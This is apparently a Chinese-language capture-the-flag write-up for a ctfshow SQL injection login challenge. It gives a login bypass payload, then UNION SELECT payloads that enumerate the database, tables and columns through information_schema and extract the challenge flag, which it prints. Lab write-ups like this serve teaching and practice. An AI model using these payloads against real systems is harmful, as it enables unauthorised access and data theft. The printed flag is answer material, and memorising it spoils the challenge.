打开靶场是一个登陆界面。
在用户名中输入a' or '1==1' # 密码随便。
使用or是为了一真为真,or前条件或者or后条件只要有一个成立,这整条语句就是成立的。后面#是为了注释掉后面原有都语句,保证sql语句的准确。
查位:用户名处继续输入a' union select 1,2,3 # 密码随便。
可以发现在第二个位置都输入可以在网页中展示出来。
查库:在用户名处继续输入a' union select 1,database(),3 # 密码随便。
使用database()语句查询现在都数据库名,可以是一个名为web2都数据库。
查表:在用户名处继续输入a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 # 密码随便。
可以发现在web2数据库中,有两张表,分别为flag表和user表。
查列:在用户名处继续输入a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag'),3 # 密码随便。
查找flag表中有哪些列,然后查出flag表中只有一个flag列。
查内容:在用户名处继续输入a' union select 1,(select flag from flag),3 # 密码随便。
查找flag列中都信息,可以查出ctfshow{ca7e2a6d-75fa-41b1-8598-90082c38a6b9}